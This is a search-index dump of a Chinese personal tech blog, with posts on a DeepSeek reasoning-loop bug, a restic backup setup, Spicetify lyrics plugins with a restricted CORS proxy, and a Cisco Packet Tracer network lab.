[{"categories":["AI"],"collections":null,"content":" let me go,let me write,let me run\u0026hellip; 一开始觉得怪可爱的，有点英文诗的感觉。 现在才发现，这其实是推理死循环了，既浪费 token，又会生成几十万字符的巨型 thinking block，导致 TUI 打开历史会话时完全卡死。 ","date":"2026-10-12","heading":"","objectID":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/:0:0","tags":["AI","magpie","BUG","deepseek"],"title":"DeepSeek的推理死循环问题","uri":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/#"},{"categories":["AI"],"collections":null,"content":"一、TUI 卡顿排查（2026-10-07） 2026-10-07 那天我在用 PI 的时候，某一个对话突然卡的不得了。 一开始觉得可能是 herdr 的问题，也可能是终端的问题（换了 Omarchy 无论遇到什么问题总是觉得是系统的问题）。 但是也就只有那一个对话卡的不得了，其他的对话没事。对那个对话关闭，再打开，依然卡住。 重启系统，再打开，还是卡住。 排查发现卡顿不是因为文件读取慢，而是卡在 TUI 渲染 thinking block： 渲染瓶颈：同一份会话只改 hideThinkingBlock，false 时 60 秒满核（~101 ticks/s）且一行都渲染不出；true 时 6 秒渲染出 25 行。RPC 模式和 --export 仅需 0.45 秒，/proc/\u0026lt;pid\u0026gt;/stat 确认 CPU 消耗全在 pi 进程自身，排除终端和 shell。 最小复现：单条 152,804 字符的 thinking 就会卡死；截断到 10,000 字符后 6 秒正常。 循环数据：原始会话里有 7 条超过 10 万字符的 thinking（最大一条 159,193 字符）。最长那条共 12,102 行，但只有 90 个唯一行：Let me go. 出现 4,034 次、Let me write. 3,322 次、OK. 1,991 次。 非 Pi 独有：给 OpenCode 注入 16 万字符文本块，CPU 同样从 1–2 ticks/s 飙到 102–104 ticks/s 满核。 在 settings.json 里设 \u0026quot;hideThinkingBlock\u0026quot;: true 能避免打开卡死，但治标不治本——模型依然会陷入死循环、浪费 token 并写入巨型文本。 ","date":"2026-10-12","heading":"一、TUI 卡顿排查（2026-10-07）","objectID":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/:1:0","tags":["AI","magpie","BUG","deepseek"],"title":"DeepSeek的推理死循环问题","uri":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/#一tui-卡顿排查2026-10-07"},{"categories":["AI"],"collections":null,"content":"二、Magpie 的死循环熔断（2026-10-12） Magpie 在 v0.1.1142（2026-10-09）引入了推理死循环检测。10 月 12 日遇到了主动熔断报错： Error: magpie ended this reply: the model's reasoning was stuck in a loop, its last 256 lines and sentences all among the same 24 (\"Let me go.\" \"Let me write.\" \"Let me run.\" …), and would have run on to its output limit. 它检测到最后 256 行只有 24 种不同句子时主动中断生成，正好命中了这个问题，能及时止损 token 并限制 thinking block 体积。不过 Magpie 目前只做到了检测和熔断，还不会自动恢复。 ","date":"2026-10-12","heading":"二、Magpie 的死循环熔断（2026-10-12）","objectID":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/:2:0","tags":["AI","magpie","BUG","deepseek"],"title":"DeepSeek的推理死循环问题","uri":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/#二magpie-的死循环熔断2026-10-12"},{"categories":["AI"],"collections":null,"content":"三、中断后的处理：用 /tree 回退 循环被掐断后，不建议直接说「继续」——在相同的上下文下，模型极易再次陷入死循环。 因为推理过程依然存在上下文，之前中断的推理过程，依然会正反馈影响 「继续」后的推理。 更稳妥的做法是用 Pi 的 /tree 切回循环发生前的节点： 如果旧分支全是重复打转，选 No summary，避免将死循环内容带入新分支。 如果旧分支已完成了有效工作，选 Summarize 或 Summarize with custom prompt，只保留结论和进展。 注意：/tree 切换的是会话上下文，已修改的工作区文件不会跟着回滚。 至于其他的 agent 有没有这个功能我就不知道了。 ","date":"2026-10-12","heading":"三、中断后的处理：用","objectID":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/:3:0","tags":["AI","magpie","BUG","deepseek"],"title":"DeepSeek的推理死循环问题","uri":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/#三中断后的处理用-tree-回退"},{"categories":["AI"],"collections":null,"content":"四、目前的应对策略 开启 Magpie 的循环检测及时熔断。 配置 \u0026quot;hideThinkingBlock\u0026quot;: true 避免历史会话卡死。 遇到死循环用 /tree 回退到正常节点重新生成。 目前这套流程依然需要人工介入。更理想的机制是 Magpie 或 Agent 框架在检测到死循环后，能自动丢弃异常推理并从上一有效状态重试 后面或许可以向 Magpie 提个 issue，看看有没有继续完善这个功能的想法。 另 magpie 真的比 cc-switch 好用,强烈推荐使用。 ","date":"2026-10-12","heading":"四、目前的应对策略","objectID":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/:4:0","tags":["AI","magpie","BUG","deepseek"],"title":"DeepSeek的推理死循环问题","uri":"/posts/deepseek%E7%9A%84%E6%8E%A8%E7%90%86%E6%AD%BB%E5%BE%AA%E7%8E%AF%E9%97%AE%E9%A2%98/#四目前的应对策略"},{"categories":["AI","折腾"],"collections":null,"content":"掐指一算，明天 codex 最后一张重置卡过期，宜蹬些代码。 Backupctl 是我在 2026-08-12 搞的另一个 VPS 备份方案，目前效果还不是很好。 V1 是纯 shell 实现；V2 是 shell 实现 install 脚本，Python 实现功能模块。 V2 搞了一个 CLI 的功能，通过 backupctl 控制备份和测试。现在 AI 还是擅长使用 CLI，整一个准没错。 ","date":"2026-08-12","heading":"","objectID":"/posts/backupctl/:0:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#"},{"categories":["AI","折腾"],"collections":null,"content":"当前方案 现在这套方案大致分成几层： 网络层：Tailscale 传输层：SFTP / HTTPS 备份层：Restic 调度层：systemd 通知层：Telegram 其中： Tailscale 负责远程组网； SFTP 负责 NAS 方向的远程传输； Restic 负责备份、加密、快照和去重； systemd timer 负责定时调度； Telegram Bot API 负责通知。 用 Restic 实现类似增量备份的效果：就是将文件创建一个逻辑快照，再将文件切成数据块，已经存在的相同数据块不会上传，仅仅上传每次备份不同的数据块。Restic 的设计文档也说明了快照、内容分块和去重机制。Restic 设计文档 增量备份与差异备份——数据备份策略之间的区别 备份目标包括 Backblaze B2 对象存储和 NAS。 缺点就是暂时不能备份数据库。数据库需要单独使用 mysqldump 或者其他命令导出，再使用 Restic 备份导出文件；否则直接备份正在运行的数据库文件，可能会出现一致性问题。 上一个备份方案则是使用 tar gzip 打包压缩，使用 rsync 远程传输，用 Tailscale 实现远程组网，NAS 备份。缺点就是没有加密，而且是全量备份。 ","date":"2026-08-12","heading":"当前方案","objectID":"/posts/backupctl/:1:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#当前方案"},{"categories":["AI","折腾"],"collections":null,"content":"遇到的一些问题 有一些开发问题，主要还是和 AI 协作的问题。 当我鞭策 AI 写出新的脚本的时候，其实效果不太好，即使我用的是 sol xhig + plan 模式。 说到这个 plan 模式，我发现现在其实不需要使用者自己去设计 herdness ，我用的 oh-my-pi 和 codex 都有 plan 模式。 但是这个 plan 模式也不是万能的，plan 模式我都是给的强推理的强力模型（看别人都是用强力模型规划，普通模型写代码）。但是做出来的效果也不太符合我的预期，做出来之后也没有变得简单和更能掌握这个项目，用 plan 模式的时候应该用 grill-me 这个 skill 拷打一下才行。superpower 已经过气了 一来是因为 APT 的 Restic 版本太过落后，一些性能问题、SFTP 的问题还没修好； 二来是 Tailscale 组网的端对端延迟过高，在做核对关联的时候需要反复确认。每次核对确认都要走 200 ms 的 RTT ，网络开销自然高，用的时间也多。 三来是为了继承旧的备份脚本使用 shell 的传统，新的方案也全是用 shell，结果整得挺复杂的，给我带来挺大理解负担。我一直觉得，如果某种工具过于强大而全面，还不如去用符合自己需求的简单工具，KISS 嘛。第一版 shell 的备份脚本搞好之后，还是让 AI 用 Python 重构了，希望代码量少一些，结果代码量其实差不多； 第四点就是写第一个版本的时候，又想试一下 subagent 的能力，又想省一些 terra max 档位，结果就是 terra 的能力不太行，干活时一直被 PowerShell 转义绊倒。像 sol 就能在我不提醒的情况下，用 base 64 编码执行 ssh -o 命令，避免转义问题。还有就是 subagent 干活真的很慢。真要用，应该开几个 subagent 分工干不同功能模块的活。结果就是开 subagent，terra 在吭哧吭哧干活，sol 在旁边看戏，偶尔指导两句； V1 -\u0026gt; V2 重构的效果也不是很好。现在想起来，应该在旧的对话里面写一份交接文档，然后开一个新的对话开始重构。因为过度信任 sol xhigh 的能力，以为它能看出整个项目的功能点，结果最后给我遗漏了 Telegram 通知的功能（如果是一个大项目不敢想会出多少 BUG）； 还有一个就是让提交到 GitHub 个人仓库里面，直接把我的 VPS 信息、配置目录也上传上去了。虽然没有把 .env 上传上去，但总感觉有些异味； 一开始在我问为什么 SFTP + Tailscale 会检查耗时、什么耗时的时候，只给我结论。这个是唯一让我觉得红温的； 已经配置了 draw.io MCP ，在收尾的时候，让画一份 draw.io 的草图，居然没有触发 MCP，而是打算用 XML 给我画草图。还是我说明了用 draw.io，才给我用 XML。画 draw.io 的时候还在用 /n 作为换行符； 还有一个问题是，codex 像一个过度谨慎的人，不愿意犯错（也可能是我本能不希望 codex 犯错）。之前使用的时候就有感觉，codex 喜欢简单的东西复杂化，过度规划2026-07-25 发现的做 PPT 过度规划校验的问题。完全可以先起一个 demo ，然后再去扩展。尤其是现在用上 plan 模式之后，感觉更加孤僻了（完全不听劝埋头苦干）。 想睡觉了就先写这么多了，明天再研究一下能不能用 skill 或者全局提示词改一下 codex 的行为。 ","date":"2026-08-12","heading":"遇到的一些问题","objectID":"/posts/backupctl/:2:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#遇到的一些问题"},{"categories":["AI","折腾"],"collections":null,"content":"文件锁 框架锁： /run/lock/backup-framework.lock，防止同时运行备份行为。 外部锁：/run/lock/vaultwarden-backup.lock ，防止新旧两个框架同时运行。 # 查找锁的持有进程 lslocks | grep something 在 Linux 中，“一切皆文件”（包括普通文件、目录、网络套接字、设备、管道等）。所以其实也是能用 lsof List Open Files（列出打开的文件） 查看当前系统中所有进程正在使用的资源。 # 查找哪个进程占用文件 lsof /var/log/syslog # 查找占用80端口的进程 lsof -i :80 # 查看某个进程打开了什么文件 lsof -p 1234 ","date":"2026-08-12","heading":"文件锁","objectID":"/posts/backupctl/:3:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#文件锁"},{"categories":["AI","折腾"],"collections":null,"content":"Systemctl timer 一般来说计时器控制服务的定时运行，当出现一些异常状况比如恰好前面停电，而开机在计时器预定时间之后，就会立刻执行一次服务的执行。在学校晚上断电的时候就很有用 定时任务归 systemd 管，也可以用 journalctl 查看。 服务文件： /etc/systemd/system/backup-db.service [Unit] Description=Backup MySQL database After=network.target [Service] Type=oneshot ExecStart=/usr/local/bin/backup-mysql.sh Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target 计时器文件：/etc/systemd/system/backup-db.timer [Unit] Description=Run backup-db service daily at 2 AM [Timer] # 每天凌晨 2 点执行 OnCalendar=*-*-* 02:00:00 # 如果系统关机错过了，开机后立即补执行 Persistent=true # 允许误差 1 分钟，避免多个任务同时触发 RandomizedDelaySec=60 [Install] WantedBy=timers.target 启动： systemctl start mytask.timer systemctl enable mytask.timer systemctl list-timers NEXT LEFT LAST PASSED UNIT ACTIVATES Thu 2026-08-13 00:00:00 CST 43min left - - dpkg-db-backup.timer dpkg-db-backup.service Thu 2026-08-13 00:00:00 CST 43min left Wed 2026-08-12 06:00:42 CST 17h ago logrotate.timer logrotate.service Thu 2026-08-13 03:30:00 CST 4h 13min left Wed 2026-08-12 19:19:51 CST 3h 57min ago backup-all.timer backup-all.service Thu 2026-08-13 06:08:41 CST 6h left Wed 2026-08-12 12:10:07 CST 11h ago apt-daily-upgrade.timer apt-daily-upgrade.service Thu 2026-08-13 11:09:58 CST 11h left Wed 2026-08-12 11:09:58 CST 12h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service Thu 2026-08-13 13:28:56 CST 14h left Wed 2026-08-12 19:03:58 CST 4h 12min ago apt-daily.timer apt-daily.service Sun 2026-08-16 03:10:46 CST 3 days left Sun 2026-08-09 09:10:04 CST 3 days ago e2scrub_all.timer e2scrub_all.service Mon 2026-08-17 00:57:40 CST 4 days left Mon 2026-08-10 06:13:54 CST 2 days ago fstrim.timer fstrim.service journalctl -u apt-daily-upgrade.timer Aug 12 10:54:32 [hostname] systemd[1]: [timer]: Deactivated successfully. Aug 12 10:54:32 [hostname] systemd[1]: Stopped [timer] - Daily apt upgrade and clean activities. -- Boot [boot-id] -- Aug 12 10:55:02 [hostname] systemd[1]: Started [timer] - Daily apt upgrade and clean activities. ","date":"2026-08-12","heading":"Systemctl timer","objectID":"/posts/backupctl/:4:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#systemctl-timer"},{"categories":["AI","折腾"],"collections":null,"content":"本地备份 不能把钥匙放在保险柜里面，对于 restic 的密码来说，不能继续存在 vaultwarden 里面。 我也早就不想把把一些重要的入口密码交给云备份了。 可以考虑用下面的工具存放，文件都是 .kdbx 格式。 一份放在手机，一份放在电脑，感觉就差不多了。 keepassxc 支持 Windows、Linux、macOS。 KeePassDX 支持 Android。 ","date":"2026-08-12","heading":"本地备份","objectID":"/posts/backupctl/:5:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#本地备份"},{"categories":["AI","折腾"],"collections":null,"content":"TODO rest-server 似乎能解决 restic 使用 SFTP 的网络开销问题，改天搭建试试看。 毕竟我用 NAS 一个主要目的是跑备份，能方便备份也不错。 ","date":"2026-08-12","heading":"TODO","objectID":"/posts/backupctl/:6:0","tags":["备份","restic","运维","AI"],"title":"backupctl --用restic的备份脚本","uri":"/posts/backupctl/#todo"},{"categories":["折腾"],"collections":null,"content":"不用 lyricsfy4 给 Spotify 完善歌词功能。 Spotify 的歌词一直很简陋，大多数歌曲是没有翻译的，而冷门的歌曲更是连歌词都没有。有一个很好的解决办法就是使用 lyricsfy 4 。这个也是维护了很久，很符合国人的使用习惯。 但使用 lyricsfy 4 是用 Electron 写的，内存占用太多了，没必要为了看翻译歌词单独开一个 Electron 应用。问了下 AI 有没有什么其他好更优雅的方案，发现还是有的。 一般是使用 spicetify 配合其他的插件使用。下面是配合 ivlyrics 完善歌词体验。 ","date":"2026-07-17","heading":"","objectID":"/posts/ivlyrics/:0:0","tags":["Spotify","ivlyrics","Spicitify"],"title":"Spicetify使用ivlyrics翻译歌词优化Spotify歌词体验","uri":"/posts/ivlyrics/#"},{"categories":["折腾"],"collections":null,"content":"Spicetify Spicetify 是 Spotify 的桌面客户端第三方插件加载工具。 功能是： 修改 Spotify 的网页界面文件 xpui 加载主题、Extensions 和 CustomApps 为 ivLyrics 这类项目生成路由文件 scoop install spicetify-cli 官方文档写了对于非标准路径安装的 Spotify 需要设置： $ scoop prefix spotify C:\\Users\\\\scoop\\apps\\spotify\\current # 查看配置 spicetify config # 添加 Custom App spicetify config custom_apps ivLyrics # 移除 Custom App 配置 spicetify config custom_apps ivLyrics- # 将配置和插件应用到 Spotify spicetify apply # 撤销全部 Spicetify 修改，恢复原版 Spotify spicetify restore # 更新 Spicetify 自身 spicetify update 一般安装了插件之后，spicetify apply 重启 Spotify 就可以让插件生效。 ","date":"2026-07-17","heading":"Spicetify","objectID":"/posts/ivlyrics/:1:0","tags":["Spotify","ivlyrics","Spicitify"],"title":"Spicetify使用ivlyrics翻译歌词优化Spotify歌词体验","uri":"/posts/ivlyrics/#spicetify"},{"categories":["折腾"],"collections":null,"content":"插件 ivLyrics 安装 下载 ivLis-Studio/ivLyrics。 使用脚本安装，安装后 spicetify apply 重启 Spotify。出现 ivlyrics 的选项但是点进去提示出错了。 排查是脚本将 ivLyrics 放进了 LocalAppData。正确做法是放入 roaming 里面。 local 一般是放只属于这台电脑的数据，roaming 则是放跟着用户走的数据。 对比项 %APPDATA% (Roaming) %LOCALAPPDATA% (Local) 是否漫游 会漫游 不漫游 适用场景 需要跟随用户账号同步的配置 仅限本机的数据 数据特点 体积较小、重要配置文件 体积较大、缓存、临时文件、机器相关数据 域环境行为 漫游用户配置文件时会同步到服务器 不会同步，留在本地 典型用途 软件设置、快捷方式配置、用户偏好 浏览器缓存、游戏存档缓存、大型临时文件、日志 一般来说，spicetify 是安装在 local 目录下面，但是我是用 scoop 安装的有点不太一样。 可以通过 spicetify config-dir 命令查看 spicetify 的配置目录。 将 localappdata 里面的配置移动到 roaming 就能使用了。 $src = \"$env:LOCALAPPDATA\\spicetify\\CustomApps\\ivLyrics\" $dst = \"$env:APPDATA\\spicetify\\CustomApps\\ivLyrics\" Get-Process Spotify -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -LiteralPath $dst -Recurse -Force New-Item -ItemType Junction -Path $dst -Target $src | Out-Null spicetify apply 提了个 PR 把 Windows 硬编码的问题搞好了。有点奇怪的是作者测试的时候将安装脚本放到仓库里面，测试完成又删掉，给作者提建议之后就把安装脚本放到仓库里面了。这种行为未免太过不安全太过可疑，所以还是建议手动下载放到对应目录。 能打开 ivlyrics 后配置一些东西，然后加上 AI API 就能实现翻译歌词了。 用上之前薅的 grok super。 ","date":"2026-07-17","heading":"插件 ivLyrics 安装","objectID":"/posts/ivlyrics/:2:0","tags":["Spotify","ivlyrics","Spicitify"],"title":"Spicetify使用ivlyrics翻译歌词优化Spotify歌词体验","uri":"/posts/ivlyrics/#插件-ivlyrics-安装"},{"categories":["折腾"],"collections":null,"content":"网易云插件 Ivlyrics 自带一个插件市场，发现居然还有网易云歌词插件。 需要配置一个 CORS 代理。考虑到地区的原因，尽量用国内的 IP。 CORS 是浏览器的“跨网站访问许可机制”。CORS 代理的作用是让代理代替浏览器访问网易云接口，再把结果安全地转交给插件。 浏览器有一个叫“同源策略”的安全限制。比如插件运行在 https://spotify.example ，直接请求 https://music.163.com/api/song/lyric 。 两个地址的域名不同，浏览器会检查网易云响应中有没有允许跨域访问的响应头。如果没有，即使网易云已经返回数据，浏览器也不会把数据交给插件。 所以需要对网易云返回的数据做一些处理，到达浏览器之前，让其看起来是允许跨域访问。 要么是用国内的 VPS 的 web 服务器搓一个，不过这么简单的需求，其实可以用 worker 来实现。 由于我的备案域名在阿里云我就用了阿里的边缘函数。 让 AI 搓一个 CORS PROXY： /** * NetEase Music CORS proxy for Alibaba Cloud ESA Edge Functions. * * Add-on configuration: * https://YOUR_DOMAIN/?url={url} * * Security model: * - HTTPS only * - music.163.com only * - /api/* only * - GET, HEAD and OPTIONS only * - Never forwards the caller's cookies or authorization headers */ const ALLOWED_HOSTS = new Set([\"music.163.com\"]); const ALLOWED_PATH_PREFIXES = [\"/api/\"]; const MAX_TARGET_URL_LENGTH = 4096; function corsHeaders() { return { \"Access-Control-Allow-Origin\": \"*\", \"Access-Control-Allow-Methods\": \"GET, HEAD, OPTIONS\", \"Access-Control-Allow-Headers\": \"Accept, Accept-Language, Content-Type, Origin, X-Requested-With\", \"Access-Control-Expose-Headers\": \"Content-Type, Content-Length, Date, ETag, Last-Modified\", \"Access-Control-Max-Age\": \"86400\", \"X-Content-Type-Options\": \"nosniff\", }; } function jsonResponse(data, status = 200) { const headers = new Headers(corsHeaders()); headers.set(\"Content-Type\", \"application/json; charset=utf-8\"); headers.set(\"Cache-Control\", \"no-store\"); return new Response(JSON.stringify(data), { status, headers, }); } function parseTarget(requestUrl) { const proxyUrl = new URL(requestUrl); let rawTarget = proxyUrl.searchParams.get(\"url\"); if (!rawTarget) { return { error: \"Missing query parameter: url\", status: 400 }; } rawTarget = rawTarget.trim(); // URLSearchParams normally decodes the value once. This extra pass also // accepts clients that encode the target URL twice. if (!/^https?:\\/\\//i.test(rawTarget)) { try { rawTarget = decodeURIComponent(rawTarget); } catch (_) { return { error: \"Invalid URL encoding\", status: 400 }; } } if (rawTarget.length \u003e MAX_TARGET_URL_LENGTH) { return { error: \"Target URL is too long\", status: 414 }; } let target; try { target = new URL(rawTarget); } catch (_) { return { error: \"Invalid target URL\", status: 400 }; } if (target.protocol !== \"https:\") { return { error: \"Only HTTPS targets are allowed\", status: 403 }; } if ( target.username || target.password || (target.port \u0026\u0026 target.port !== \"443\") ) { return { error: \"Credentials and non-standard ports are not allowed\", status: 403 }; } const hostname = target.hostname.toLowerCase(); if (!ALLOWED_HOSTS.has(hostname)) { return { error: \"Target host is not allowed\", status: 403 }; } const pathAllowed = ALLOWED_PATH_PREFIXES.some((prefix) =\u003e target.pathname.startsWith(prefix) ); if (!pathAllowed) { return { error: \"Target path is not allowed\", status: 403 }; } // Fragments are never sent in HTTP requests. target.hash = \"\"; return { target }; } function addCorsToUpstreamResponse(upstream) { const response = new Response(upstream.body, upstream); // Do not leak upstream cookies or preserve conflicting CORS policy. response.headers.delete(\"Set-Cookie\"); response.headers.delete(\"Set-Cookie2\"); response.headers.delete(\"Access-Control-Allow-Origin\"); response.headers.delete(\"Access-Control-Allow-Credentials\"); const cors = corsHeaders(); for (const name of Object.keys(cors)) { response.headers.set(name, cors[name]); } response.headers.set(\"X-Cors-Proxy\", \"aliyun-esa\"); return response; } async function handleRequest(request) { const method = request.method.toUpperCase(); if (method === \"OPTIONS\") { return new Response(null, { status: 204, headers: corsHeaders(), }); } if (method !== \"GET\" \u0026\u0026 method !== \"HEAD\") { return jsonResponse( { ok: false, error: \"Method not allowed\" }, 405 ); } const requestUrl = new URL(request.url); if (requestUrl.pathname === \"/health\") { return jsonResponse({ ok: true, service: \"netease-cors-proxy\", }); } const parsed = parseTarget(request.url);","date":"2026-07-17","heading":"网易云插件","objectID":"/posts/ivlyrics/:3:0","tags":["Spotify","ivlyrics","Spicitify"],"title":"Spicetify使用ivlyrics翻译歌词优化Spotify歌词体验","uri":"/posts/ivlyrics/#网易云插件"},{"categories":["折腾"],"collections":null,"content":"页面展示 歌词效果还是不错的： 歌词悬浮窗： 黑胶页面： ","date":"2026-07-17","heading":"页面展示","objectID":"/posts/ivlyrics/:4:0","tags":["Spotify","ivlyrics","Spicitify"],"title":"Spicetify使用ivlyrics翻译歌词优化Spotify歌词体验","uri":"/posts/ivlyrics/#页面展示"},{"categories":["AI"],"collections":null,"content":"点击迁移 Claude 选项后提示\u0026quot;创建符号链接失败\u0026quot;。 打开 Windows“设置”。 进入“系统 → 开发者选项”。 开启“开发人员模式”。 从系统托盘彻底退出 cc-switch，再重新打开并安装。 ","date":"2026-07-15","heading":"","objectID":"/posts/cc-switch-symlink-bug/:0:0","tags":["AI","cc-switch"],"title":"cc-swtich 切换skills agent时提示\"创建符号链接失败\"问题解决","uri":"/posts/cc-switch-symlink-bug/#"},{"categories":["AI"],"collections":null,"content":"打开 ChatGPT 后，提示 “ChatGPT 需要一次性权限才能在你的电脑上运行”。但是点击后依然无法启动的情况。 基本上是在 .codex\\config.toml 加了一些冲突的配置。我删除里面的 model_instructions_file = \u0026quot;C:/Users/123/.codex/instruction.md\u0026quot; 即可解决。 或者删掉 config.toml 创建让 CHATGPT 创建一个全新的文件。 ","date":"2026-07-14","heading":"","objectID":"/posts/codex-instruction-bug-fix/:0:0","tags":["ChatGPT","AI"],"title":"codex启动\"GPT需要一次性权限才能在你的电脑运行\"BUG解决","uri":"/posts/codex-instruction-bug-fix/#"},{"categories":["网络"],"collections":null,"content":"使用思科模拟器简单搭建一个企业网络 ","date":"2026-04-24","heading":"","objectID":"/posts/cisco-packet-tracer/:0:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#"},{"categories":["网络"],"collections":null,"content":"序 包含以下知识点: 双机热备 STP 无线 / AP 接入 DHCP / DNS / WEB / FTP 服务器 OSPF 动态路由 串口广域网 动态 NAT 2960：接入层二层交换机，只负责 Access / Trunk 3560：汇聚层三层交换机，负责 SVI + ip routing + HSRP + STP 4331：核心 / 出口路由器，负责 OSPF + 串口 + 默认路由 + NAT ","date":"2026-04-24","heading":"序","objectID":"/posts/cisco-packet-tracer/:1:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#序"},{"categories":["网络"],"collections":null,"content":"推荐配置顺序 先画拓扑，给每条链路和每个 VLAN 编号 先配服务器静态 IP，再开 DHCP / DNS / WEB / FTP 打通二层：VLAN + Access + Trunk + STP 配三层网关：SVI + ip routing + HSRP 配路由器互联：园区链路、串口、OSPF 配出口：默认路由、默认路由发布、NAT 最后逐段验证：拿地址、跨 VLAN、跨区域、出外网、DNS 解析、主备切换 ","date":"2026-04-24","heading":"推荐配置顺序","objectID":"/posts/cisco-packet-tracer/:2:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#推荐配置顺序"},{"categories":["网络"],"collections":null,"content":"IP 分配 192.168.11.0/24：服务器区，DHCP / DNS / WEB / FTP 所在网段 192.168.12.0/24：服务器接入路由器到核心路由器 192.168.13.0/24：核心路由器到总公司接入路由器 192.168.14.0/24、192.168.15.0/24：总公司接入路由器与双核心交换机之间的三层互联 192.168.17.0/24：核心路由器到出口路由器 100.1.1.0/24：出口到外网路由器 192.168.1.0/24 到 192.168.8.0/24：业务 VLAN 网段 ","date":"2026-04-24","heading":"IP 分配","objectID":"/posts/cisco-packet-tracer/:3:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#ip-分配"},{"categories":["网络"],"collections":null,"content":"相关知识点 技术 解决的问题 关键点 VLAN + Trunk 二层隔离与跨交换机承载多个 VLAN Access 口给终端，Trunk 口给交换机 / 汇聚 STP 二层冗余链路防环 通过选根桥和阻塞端口避免广播风暴 HSRP 默认网关冗余 客户端始终指向虚拟 IP，不关心当前主设备是谁 SVI + ip routing VLAN 间路由 三层交换机必须开启 ip routing ip helper-address 跨网段 DHCP 把广播转换为单播转发到 DHCP 服务器 OSPF 全网动态路由 只在真正的三层邻居之间建邻接 NAT 私网访问公网 出口路由器要分清 inside / outside 默认路由 去未知网段的出口方向 常在出口设备上配置，并发布给内部 一个很重要的配合关系： HSRP 决定“谁当默认网关” STP 决定“二层流量先走哪条链路” 实际设计里，最好让同一个 VLAN 的 HSRP Active 和 STP Root 尽量落在同一台设备上，避免流量先绕远路再去找网关。 ","date":"2026-04-24","heading":"相关知识点","objectID":"/posts/cisco-packet-tracer/:4:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#相关知识点"},{"categories":["网络"],"collections":null,"content":"内部服务器配置 服务器区需要配置 WEB、DNS、DHCP、FTP，其中最关键的是 DHCP。 基本要求： 所有服务器都用静态 IP 正确填写默认网关 DNS 服务器为 WEB 服务器添加 A 记录 DHCP 地址池为各 VLAN 分配地址、网关、DNS FTP 配置本地用户名和密码 WEB 开启 HTTP 和 HTTPS DHCP 地址池示意： FTP 服务器配置用户名和密码。 同时需要给内部服务器配置静态 IP 和网关。 ","date":"2026-04-24","heading":"内部服务器配置","objectID":"/posts/cisco-packet-tracer/:5:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#内部服务器配置"},{"categories":["网络"],"collections":null,"content":"路由器与交换机配置 ","date":"2026-04-24","heading":"路由器与交换机配置","objectID":"/posts/cisco-packet-tracer/:6:0","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#路由器与交换机配置"},{"categories":["网络"],"collections":null,"content":"1. 服务器接入路由器 作用： 连接服务器区和园区核心 为非本地网段的客户端转发 DHCP 请求 interface GigabitEthernet0/0/0 ip address 192.168.11.5 255.255.255.0 interface GigabitEthernet0/0/1 ip address 192.168.12.1 255.255.255.0 ip helper-address 192.168.11.3 router ospf 10 log-adjacency-changes network 192.168.11.0 0.0.0.255 area 0 network 192.168.12.0 0.0.0.255 area 0 说明： ip helper-address 192.168.11.3 表示把 DHCP 广播转发给中心 DHCP 服务器 router ospf 10 里的 10 是本地进程号，只在本设备上有意义，不要求全网一致 ","date":"2026-04-24","heading":"1. 服务器接入路由器","objectID":"/posts/cisco-packet-tracer/:6:1","tags":["组网","思科模拟器","VLAN","双机热备"],"title":"思科模拟器企业组网","uri":"/posts/cisco-packet-tracer/#1-服务器接入路由器"},{"categories":["网络"],"collections":null,"content":"2. 核心路由器 作用： 连接服务器区、总公司园区、串口广域网和出口路由器 是整个实验的三层骨干之一 interface GigabitEthernet0/0/0 ip address 192.168.12.2 255.255.255.0 interface GigabitEthernet0/0/1 ip address 192.168.13.1 255.255.255.0 ip helper-address 192.168.11.3 interface Serial0/2/0 ip address 192.168.16.1 255.255.255.0 ip helper-address 192.168.11.3 interface Serial0/2/1 ip address 192.168.17.1 255.255.255.0 clock rate 64000 router ospf 20 log-adjacency-changes network 